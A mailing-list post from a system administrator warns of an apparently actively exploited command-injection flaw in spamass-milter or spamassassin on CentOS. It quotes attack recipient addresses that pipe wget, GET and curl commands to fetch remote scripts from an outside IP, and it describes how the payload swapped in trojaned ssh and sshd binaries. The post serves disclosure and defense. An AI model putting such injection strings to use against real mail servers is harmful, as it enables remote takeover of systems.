This is a heads-up that there might be an actively exploited vulnerability in either the spamassassin or spamass-milter package. I'm still unsure where the problem lies, but here's what I know.
The system described below runs x86_64 release of CentOS 5.4. SELinux was, at the time, in Permissive mode. The packages involved, as far as I can tell, are * spamassassin-3.2.5-1.el5.rf (rpmforge) * spamass-milter-0.3.1-1.el5.rf (rpmforge) * sendmail-8.13.8-2.el5 (centos) Mar 15 05:47 (times are PDT): Several messages arrived with suspicious recipients: <root+:> <root+:"|wget http://61.100.185.177/busy-1.php";> <root+:"|GET http://61.100.185.177/busy-2.php";> <root+:"|curl http://61.100.185.177/busy-3.php";> Sendmail recognized the addresses as syntactically evil, but a process running under the spamass_milter_t context ran wget, GET, and curl and connected to the IP address in the addresses above. The file(s) downloaded by these processes executed a shell script. It did several things, the highlights of which are 1. It downloaded, uncompressed, and untar-ed a file named xS.tar.gz. The resulting directory name was /xS. 2. It tried to add a unix group and user named "sshd"; the attempt failed, probably because there's already an sshd user and group on the system. 3. It installed 32-bit Linux executables in place of /usr/bin/ssh and /usr/sbin/sshd. The new executables were dynamically linked against a small number of libraries, but most of the supporting libraries had been compiled directly into the applications. 4. It installed a minimal /etc/ssh/sshd_config and an empty /etc/ssh/ssh_config. 5. After verifying that sshd was in the process table, it removed the /xS directory. 6. It created an empty file name /dev/devno 7. It restarted sshd using /sbin/service Again, this was all done under the spamass_milter_t security context. I don't know enough about the sendmail <-> spamass-milter <-> spamd pipeline to have a definitive idea about what application misparsed the piped e-mail addresses and executed them. I saw the attack again this morning, but by then I'd cleaned things up and gotten SELinux back into Enforcing mode, which prevented the exploit from working again. -- Paul Heinlein <> [email protected] <> http://www.madboa.com/ _______________________________________________ PLUG mailing list [email protected] http://lists.pdxlinux.org/mailman/listinfo/plug
